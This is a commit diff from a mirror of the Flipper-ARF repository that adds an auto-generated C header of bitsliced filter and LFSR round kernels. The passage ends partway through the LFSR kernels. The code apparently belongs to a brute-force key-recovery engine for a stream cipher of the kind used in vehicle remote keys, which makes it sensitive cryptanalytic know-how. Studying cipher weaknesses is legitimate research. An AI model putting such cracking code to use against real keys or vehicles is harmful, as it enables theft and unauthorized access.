mirror of
https://github.com/D4C1-Labs/Flipper-ARF.git
synced 2026-10-27 15:52:23 +00:00
1 parent
892092a1a0
commit
51efff5580
6 files changed
+865
-71
No files matched your search
@@ -0,0 +1,506 @@
|
||||
// AUTO-GENERATED by gen_hell_kernels.py -- DO NOT EDIT.
|
||||
// Per-round specialized bitsliced filter/LFSR kernels with
|
||||
// compile-time-constant state[] indices. Bit-identical to the
|
||||
// original runtime-index bs_filter_at / bs_lfsr_at.
|
||||
//
|
||||
// Requires (before #include): bitslice_t, STATE_ARR_LEN,
|
||||
// f_a_bs, f_b_bs, f_c_bs.
|
||||
#ifndef HELL_KERNELS_GEN_H
|
||||
#define HELL_KERNELS_GEN_H
|
||||
|
||||
// ---- Per-round filter kernels ----
|
||||
static inline bitslice_t bs_filter_at_r0(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[45], state[44], state[42], state[41]);
|
||||
const bitslice_t g1 = f_b_bs(state[39], state[35], state[33], state[32]);
|
||||
const bitslice_t g2 = f_b_bs(state[30], state[26], state[24], state[21]);
|
||||
const bitslice_t g3 = f_b_bs(state[19], state[18], state[16], state[14]);
|
||||
const bitslice_t g4 = f_a_bs(state[13], state[4], state[3], state[1]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r1(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[44], state[43], state[41], state[40]);
|
||||
const bitslice_t g1 = f_b_bs(state[38], state[34], state[32], state[31]);
|
||||
const bitslice_t g2 = f_b_bs(state[29], state[25], state[23], state[20]);
|
||||
const bitslice_t g3 = f_b_bs(state[18], state[17], state[15], state[13]);
|
||||
const bitslice_t g4 = f_a_bs(state[12], state[3], state[2], state[0]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r2(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[43], state[42], state[40], state[39]);
|
||||
const bitslice_t g1 = f_b_bs(state[37], state[33], state[31], state[30]);
|
||||
const bitslice_t g2 = f_b_bs(state[28], state[24], state[22], state[19]);
|
||||
const bitslice_t g3 = f_b_bs(state[17], state[16], state[14], state[12]);
|
||||
const bitslice_t g4 = f_a_bs(state[11], state[2], state[1], state[48]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r3(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[42], state[41], state[39], state[38]);
|
||||
const bitslice_t g1 = f_b_bs(state[36], state[32], state[30], state[29]);
|
||||
const bitslice_t g2 = f_b_bs(state[27], state[23], state[21], state[18]);
|
||||
const bitslice_t g3 = f_b_bs(state[16], state[15], state[13], state[11]);
|
||||
const bitslice_t g4 = f_a_bs(state[10], state[1], state[0], state[49]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r4(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[41], state[40], state[38], state[37]);
|
||||
const bitslice_t g1 = f_b_bs(state[35], state[31], state[29], state[28]);
|
||||
const bitslice_t g2 = f_b_bs(state[26], state[22], state[20], state[17]);
|
||||
const bitslice_t g3 = f_b_bs(state[15], state[14], state[12], state[10]);
|
||||
const bitslice_t g4 = f_a_bs(state[9], state[0], state[48], state[50]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r5(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[40], state[39], state[37], state[36]);
|
||||
const bitslice_t g1 = f_b_bs(state[34], state[30], state[28], state[27]);
|
||||
const bitslice_t g2 = f_b_bs(state[25], state[21], state[19], state[16]);
|
||||
const bitslice_t g3 = f_b_bs(state[14], state[13], state[11], state[9]);
|
||||
const bitslice_t g4 = f_a_bs(state[8], state[48], state[49], state[51]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r6(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[39], state[38], state[36], state[35]);
|
||||
const bitslice_t g1 = f_b_bs(state[33], state[29], state[27], state[26]);
|
||||
const bitslice_t g2 = f_b_bs(state[24], state[20], state[18], state[15]);
|
||||
const bitslice_t g3 = f_b_bs(state[13], state[12], state[10], state[8]);
|
||||
const bitslice_t g4 = f_a_bs(state[7], state[49], state[50], state[52]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r7(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[38], state[37], state[35], state[34]);
|
||||
const bitslice_t g1 = f_b_bs(state[32], state[28], state[26], state[25]);
|
||||
const bitslice_t g2 = f_b_bs(state[23], state[19], state[17], state[14]);
|
||||
const bitslice_t g3 = f_b_bs(state[12], state[11], state[9], state[7]);
|
||||
const bitslice_t g4 = f_a_bs(state[6], state[50], state[51], state[53]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r8(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[37], state[36], state[34], state[33]);
|
||||
const bitslice_t g1 = f_b_bs(state[31], state[27], state[25], state[24]);
|
||||
const bitslice_t g2 = f_b_bs(state[22], state[18], state[16], state[13]);
|
||||
const bitslice_t g3 = f_b_bs(state[11], state[10], state[8], state[6]);
|
||||
const bitslice_t g4 = f_a_bs(state[5], state[51], state[52], state[54]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r9(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[36], state[35], state[33], state[32]);
|
||||
const bitslice_t g1 = f_b_bs(state[30], state[26], state[24], state[23]);
|
||||
const bitslice_t g2 = f_b_bs(state[21], state[17], state[15], state[12]);
|
||||
const bitslice_t g3 = f_b_bs(state[10], state[9], state[7], state[5]);
|
||||
const bitslice_t g4 = f_a_bs(state[4], state[52], state[53], state[55]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r10(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[35], state[34], state[32], state[31]);
|
||||
const bitslice_t g1 = f_b_bs(state[29], state[25], state[23], state[22]);
|
||||
const bitslice_t g2 = f_b_bs(state[20], state[16], state[14], state[11]);
|
||||
const bitslice_t g3 = f_b_bs(state[9], state[8], state[6], state[4]);
|
||||
const bitslice_t g4 = f_a_bs(state[3], state[53], state[54], state[56]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r11(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[34], state[33], state[31], state[30]);
|
||||
const bitslice_t g1 = f_b_bs(state[28], state[24], state[22], state[21]);
|
||||
const bitslice_t g2 = f_b_bs(state[19], state[15], state[13], state[10]);
|
||||
const bitslice_t g3 = f_b_bs(state[8], state[7], state[5], state[3]);
|
||||
const bitslice_t g4 = f_a_bs(state[2], state[54], state[55], state[57]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r12(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[33], state[32], state[30], state[29]);
|
||||
const bitslice_t g1 = f_b_bs(state[27], state[23], state[21], state[20]);
|
||||
const bitslice_t g2 = f_b_bs(state[18], state[14], state[12], state[9]);
|
||||
const bitslice_t g3 = f_b_bs(state[7], state[6], state[4], state[2]);
|
||||
const bitslice_t g4 = f_a_bs(state[1], state[55], state[56], state[58]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r13(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[32], state[31], state[29], state[28]);
|
||||
const bitslice_t g1 = f_b_bs(state[26], state[22], state[20], state[19]);
|
||||
const bitslice_t g2 = f_b_bs(state[17], state[13], state[11], state[8]);
|
||||
const bitslice_t g3 = f_b_bs(state[6], state[5], state[3], state[1]);
|
||||
const bitslice_t g4 = f_a_bs(state[0], state[56], state[57], state[59]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r14(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[31], state[30], state[28], state[27]);
|
||||
const bitslice_t g1 = f_b_bs(state[25], state[21], state[19], state[18]);
|
||||
const bitslice_t g2 = f_b_bs(state[16], state[12], state[10], state[7]);
|
||||
const bitslice_t g3 = f_b_bs(state[5], state[4], state[2], state[0]);
|
||||
const bitslice_t g4 = f_a_bs(state[48], state[57], state[58], state[60]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r15(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[30], state[29], state[27], state[26]);
|
||||
const bitslice_t g1 = f_b_bs(state[24], state[20], state[18], state[17]);
|
||||
const bitslice_t g2 = f_b_bs(state[15], state[11], state[9], state[6]);
|
||||
const bitslice_t g3 = f_b_bs(state[4], state[3], state[1], state[48]);
|
||||
const bitslice_t g4 = f_a_bs(state[49], state[58], state[59], state[61]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r16(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[29], state[28], state[26], state[25]);
|
||||
const bitslice_t g1 = f_b_bs(state[23], state[19], state[17], state[16]);
|
||||
const bitslice_t g2 = f_b_bs(state[14], state[10], state[8], state[5]);
|
||||
const bitslice_t g3 = f_b_bs(state[3], state[2], state[0], state[49]);
|
||||
const bitslice_t g4 = f_a_bs(state[50], state[59], state[60], state[62]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r17(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[28], state[27], state[25], state[24]);
|
||||
const bitslice_t g1 = f_b_bs(state[22], state[18], state[16], state[15]);
|
||||
const bitslice_t g2 = f_b_bs(state[13], state[9], state[7], state[4]);
|
||||
const bitslice_t g3 = f_b_bs(state[2], state[1], state[48], state[50]);
|
||||
const bitslice_t g4 = f_a_bs(state[51], state[60], state[61], state[63]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r18(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[27], state[26], state[24], state[23]);
|
||||
const bitslice_t g1 = f_b_bs(state[21], state[17], state[15], state[14]);
|
||||
const bitslice_t g2 = f_b_bs(state[12], state[8], state[6], state[3]);
|
||||
const bitslice_t g3 = f_b_bs(state[1], state[0], state[49], state[51]);
|
||||
const bitslice_t g4 = f_a_bs(state[52], state[61], state[62], state[64]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r19(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[26], state[25], state[23], state[22]);
|
||||
const bitslice_t g1 = f_b_bs(state[20], state[16], state[14], state[13]);
|
||||
const bitslice_t g2 = f_b_bs(state[11], state[7], state[5], state[2]);
|
||||
const bitslice_t g3 = f_b_bs(state[0], state[48], state[50], state[52]);
|
||||
const bitslice_t g4 = f_a_bs(state[53], state[62], state[63], state[65]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r20(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[25], state[24], state[22], state[21]);
|
||||
const bitslice_t g1 = f_b_bs(state[19], state[15], state[13], state[12]);
|
||||
const bitslice_t g2 = f_b_bs(state[10], state[6], state[4], state[1]);
|
||||
const bitslice_t g3 = f_b_bs(state[48], state[49], state[51], state[53]);
|
||||
const bitslice_t g4 = f_a_bs(state[54], state[63], state[64], state[66]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r21(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[24], state[23], state[21], state[20]);
|
||||
const bitslice_t g1 = f_b_bs(state[18], state[14], state[12], state[11]);
|
||||
const bitslice_t g2 = f_b_bs(state[9], state[5], state[3], state[0]);
|
||||
const bitslice_t g3 = f_b_bs(state[49], state[50], state[52], state[54]);
|
||||
const bitslice_t g4 = f_a_bs(state[55], state[64], state[65], state[67]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r22(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[23], state[22], state[20], state[19]);
|
||||
const bitslice_t g1 = f_b_bs(state[17], state[13], state[11], state[10]);
|
||||
const bitslice_t g2 = f_b_bs(state[8], state[4], state[2], state[48]);
|
||||
const bitslice_t g3 = f_b_bs(state[50], state[51], state[53], state[55]);
|
||||
const bitslice_t g4 = f_a_bs(state[56], state[65], state[66], state[68]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r23(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[22], state[21], state[19], state[18]);
|
||||
const bitslice_t g1 = f_b_bs(state[16], state[12], state[10], state[9]);
|
||||
const bitslice_t g2 = f_b_bs(state[7], state[3], state[1], state[49]);
|
||||
const bitslice_t g3 = f_b_bs(state[51], state[52], state[54], state[56]);
|
||||
const bitslice_t g4 = f_a_bs(state[57], state[66], state[67], state[69]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r24(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[21], state[20], state[18], state[17]);
|
||||
const bitslice_t g1 = f_b_bs(state[15], state[11], state[9], state[8]);
|
||||
const bitslice_t g2 = f_b_bs(state[6], state[2], state[0], state[50]);
|
||||
const bitslice_t g3 = f_b_bs(state[52], state[53], state[55], state[57]);
|
||||
const bitslice_t g4 = f_a_bs(state[58], state[67], state[68], state[70]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r25(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[20], state[19], state[17], state[16]);
|
||||
const bitslice_t g1 = f_b_bs(state[14], state[10], state[8], state[7]);
|
||||
const bitslice_t g2 = f_b_bs(state[5], state[1], state[48], state[51]);
|
||||
const bitslice_t g3 = f_b_bs(state[53], state[54], state[56], state[58]);
|
||||
const bitslice_t g4 = f_a_bs(state[59], state[68], state[69], state[71]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r26(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[19], state[18], state[16], state[15]);
|
||||
const bitslice_t g1 = f_b_bs(state[13], state[9], state[7], state[6]);
|
||||
const bitslice_t g2 = f_b_bs(state[4], state[0], state[49], state[52]);
|
||||
const bitslice_t g3 = f_b_bs(state[54], state[55], state[57], state[59]);
|
||||
const bitslice_t g4 = f_a_bs(state[60], state[69], state[70], state[72]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r27(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[18], state[17], state[15], state[14]);
|
||||
const bitslice_t g1 = f_b_bs(state[12], state[8], state[6], state[5]);
|
||||
const bitslice_t g2 = f_b_bs(state[3], state[48], state[50], state[53]);
|
||||
const bitslice_t g3 = f_b_bs(state[55], state[56], state[58], state[60]);
|
||||
const bitslice_t g4 = f_a_bs(state[61], state[70], state[71], state[73]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r28(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[17], state[16], state[14], state[13]);
|
||||
const bitslice_t g1 = f_b_bs(state[11], state[7], state[5], state[4]);
|
||||
const bitslice_t g2 = f_b_bs(state[2], state[49], state[51], state[54]);
|
||||
const bitslice_t g3 = f_b_bs(state[56], state[57], state[59], state[61]);
|
||||
const bitslice_t g4 = f_a_bs(state[62], state[71], state[72], state[74]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r29(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[16], state[15], state[13], state[12]);
|
||||
const bitslice_t g1 = f_b_bs(state[10], state[6], state[4], state[3]);
|
||||
const bitslice_t g2 = f_b_bs(state[1], state[50], state[52], state[55]);
|
||||
const bitslice_t g3 = f_b_bs(state[57], state[58], state[60], state[62]);
|
||||
const bitslice_t g4 = f_a_bs(state[63], state[72], state[73], state[75]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r30(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[15], state[14], state[12], state[11]);
|
||||
const bitslice_t g1 = f_b_bs(state[9], state[5], state[3], state[2]);
|
||||
const bitslice_t g2 = f_b_bs(state[0], state[51], state[53], state[56]);
|
||||
const bitslice_t g3 = f_b_bs(state[58], state[59], state[61], state[63]);
|
||||
const bitslice_t g4 = f_a_bs(state[64], state[73], state[74], state[76]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_filter_at_r31(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
const bitslice_t g0 = f_a_bs(state[14], state[13], state[11], state[10]);
|
||||
const bitslice_t g1 = f_b_bs(state[8], state[4], state[2], state[1]);
|
||||
const bitslice_t g2 = f_b_bs(state[48], state[52], state[54], state[57]);
|
||||
const bitslice_t g3 = f_b_bs(state[59], state[60], state[62], state[64]);
|
||||
const bitslice_t g4 = f_a_bs(state[65], state[74], state[75], state[77]);
|
||||
return f_c_bs(g0, g1, g2, g3, g4);
|
||||
}
|
||||
|
||||
// ---- Per-round LFSR kernels ----
|
||||
static inline bitslice_t bs_lfsr_at_r0(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[0] ^ state[1] ^ state[4] ^ state[5] ^ state[6] ^ state[17] ^ state[21] ^ state[24] ^ state[25] ^ state[31] ^ state[39] ^ state[40] ^ state[41] ^ state[44] ^ state[45] ^ state[47];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r1(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[0] ^ state[3] ^ state[4] ^ state[5] ^ state[16] ^ state[20] ^ state[23] ^ state[24] ^ state[30] ^ state[38] ^ state[39] ^ state[40] ^ state[43] ^ state[44] ^ state[46] ^ state[48];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r2(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[2] ^ state[3] ^ state[4] ^ state[15] ^ state[19] ^ state[22] ^ state[23] ^ state[29] ^ state[37] ^ state[38] ^ state[39] ^ state[42] ^ state[43] ^ state[45] ^ state[48] ^ state[49];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r3(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[1] ^ state[2] ^ state[3] ^ state[14] ^ state[18] ^ state[21] ^ state[22] ^ state[28] ^ state[36] ^ state[37] ^ state[38] ^ state[41] ^ state[42] ^ state[44] ^ state[49] ^ state[50];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r4(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[0] ^ state[1] ^ state[2] ^ state[13] ^ state[17] ^ state[20] ^ state[21] ^ state[27] ^ state[35] ^ state[36] ^ state[37] ^ state[40] ^ state[41] ^ state[43] ^ state[50] ^ state[51];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r5(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[0] ^ state[1] ^ state[12] ^ state[16] ^ state[19] ^ state[20] ^ state[26] ^ state[34] ^ state[35] ^ state[36] ^ state[39] ^ state[40] ^ state[42] ^ state[48] ^ state[51] ^ state[52];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r6(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[0] ^ state[11] ^ state[15] ^ state[18] ^ state[19] ^ state[25] ^ state[33] ^ state[34] ^ state[35] ^ state[38] ^ state[39] ^ state[41] ^ state[48] ^ state[49] ^ state[52] ^ state[53];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r7(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[10] ^ state[14] ^ state[17] ^ state[18] ^ state[24] ^ state[32] ^ state[33] ^ state[34] ^ state[37] ^ state[38] ^ state[40] ^ state[48] ^ state[49] ^ state[50] ^ state[53] ^ state[54];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r8(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[9] ^ state[13] ^ state[16] ^ state[17] ^ state[23] ^ state[31] ^ state[32] ^ state[33] ^ state[36] ^ state[37] ^ state[39] ^ state[49] ^ state[50] ^ state[51] ^ state[54] ^ state[55];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r9(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[8] ^ state[12] ^ state[15] ^ state[16] ^ state[22] ^ state[30] ^ state[31] ^ state[32] ^ state[35] ^ state[36] ^ state[38] ^ state[50] ^ state[51] ^ state[52] ^ state[55] ^ state[56];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r10(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[7] ^ state[11] ^ state[14] ^ state[15] ^ state[21] ^ state[29] ^ state[30] ^ state[31] ^ state[34] ^ state[35] ^ state[37] ^ state[51] ^ state[52] ^ state[53] ^ state[56] ^ state[57];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r11(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[6] ^ state[10] ^ state[13] ^ state[14] ^ state[20] ^ state[28] ^ state[29] ^ state[30] ^ state[33] ^ state[34] ^ state[36] ^ state[52] ^ state[53] ^ state[54] ^ state[57] ^ state[58];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r12(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[5] ^ state[9] ^ state[12] ^ state[13] ^ state[19] ^ state[27] ^ state[28] ^ state[29] ^ state[32] ^ state[33] ^ state[35] ^ state[53] ^ state[54] ^ state[55] ^ state[58] ^ state[59];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r13(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[4] ^ state[8] ^ state[11] ^ state[12] ^ state[18] ^ state[26] ^ state[27] ^ state[28] ^ state[31] ^ state[32] ^ state[34] ^ state[54] ^ state[55] ^ state[56] ^ state[59] ^ state[60];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r14(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[3] ^ state[7] ^ state[10] ^ state[11] ^ state[17] ^ state[25] ^ state[26] ^ state[27] ^ state[30] ^ state[31] ^ state[33] ^ state[55] ^ state[56] ^ state[57] ^ state[60] ^ state[61];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r15(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[2] ^ state[6] ^ state[9] ^ state[10] ^ state[16] ^ state[24] ^ state[25] ^ state[26] ^ state[29] ^ state[30] ^ state[32] ^ state[56] ^ state[57] ^ state[58] ^ state[61] ^ state[62];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r16(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[1] ^ state[5] ^ state[8] ^ state[9] ^ state[15] ^ state[23] ^ state[24] ^ state[25] ^ state[28] ^ state[29] ^ state[31] ^ state[57] ^ state[58] ^ state[59] ^ state[62] ^ state[63];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r17(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[0] ^ state[4] ^ state[7] ^ state[8] ^ state[14] ^ state[22] ^ state[23] ^ state[24] ^ state[27] ^ state[28] ^ state[30] ^ state[58] ^ state[59] ^ state[60] ^ state[63] ^ state[64];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r18(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[3] ^ state[6] ^ state[7] ^ state[13] ^ state[21] ^ state[22] ^ state[23] ^ state[26] ^ state[27] ^ state[29] ^ state[48] ^ state[59] ^ state[60] ^ state[61] ^ state[64] ^ state[65];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r19(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[2] ^ state[5] ^ state[6] ^ state[12] ^ state[20] ^ state[21] ^ state[22] ^ state[25] ^ state[26] ^ state[28] ^ state[49] ^ state[60] ^ state[61] ^ state[62] ^ state[65] ^ state[66];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r20(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[1] ^ state[4] ^ state[5] ^ state[11] ^ state[19] ^ state[20] ^ state[21] ^ state[24] ^ state[25] ^ state[27] ^ state[50] ^ state[61] ^ state[62] ^ state[63] ^ state[66] ^ state[67];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r21(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[0] ^ state[3] ^ state[4] ^ state[10] ^ state[18] ^ state[19] ^ state[20] ^ state[23] ^ state[24] ^ state[26] ^ state[51] ^ state[62] ^ state[63] ^ state[64] ^ state[67] ^ state[68];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r22(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[2] ^ state[3] ^ state[9] ^ state[17] ^ state[18] ^ state[19] ^ state[22] ^ state[23] ^ state[25] ^ state[48] ^ state[52] ^ state[63] ^ state[64] ^ state[65] ^ state[68] ^ state[69];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r23(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[1] ^ state[2] ^ state[8] ^ state[16] ^ state[17] ^ state[18] ^ state[21] ^ state[22] ^ state[24] ^ state[49] ^ state[53] ^ state[64] ^ state[65] ^ state[66] ^ state[69] ^ state[70];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r24(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[0] ^ state[1] ^ state[7] ^ state[15] ^ state[16] ^ state[17] ^ state[20] ^ state[21] ^ state[23] ^ state[50] ^ state[54] ^ state[65] ^ state[66] ^ state[67] ^ state[70] ^ state[71];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r25(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[0] ^ state[6] ^ state[14] ^ state[15] ^ state[16] ^ state[19] ^ state[20] ^ state[22] ^ state[48] ^ state[51] ^ state[55] ^ state[66] ^ state[67] ^ state[68] ^ state[71] ^ state[72];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r26(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[5] ^ state[13] ^ state[14] ^ state[15] ^ state[18] ^ state[19] ^ state[21] ^ state[48] ^ state[49] ^ state[52] ^ state[56] ^ state[67] ^ state[68] ^ state[69] ^ state[72] ^ state[73];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r27(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
return state[4] ^ state[12] ^ state[13] ^ state[14] ^ state[17] ^ state[18] ^ state[20] ^ state[49] ^ state[50] ^ state[53] ^ state[57] ^ state[68] ^ state[69] ^ state[70] ^ state[73] ^ state[74];
|
||||
}
|
||||
|
||||
static inline bitslice_t bs_lfsr_at_r28(const bitslice_t state[STATE_ARR_LEN]) {
|
||||
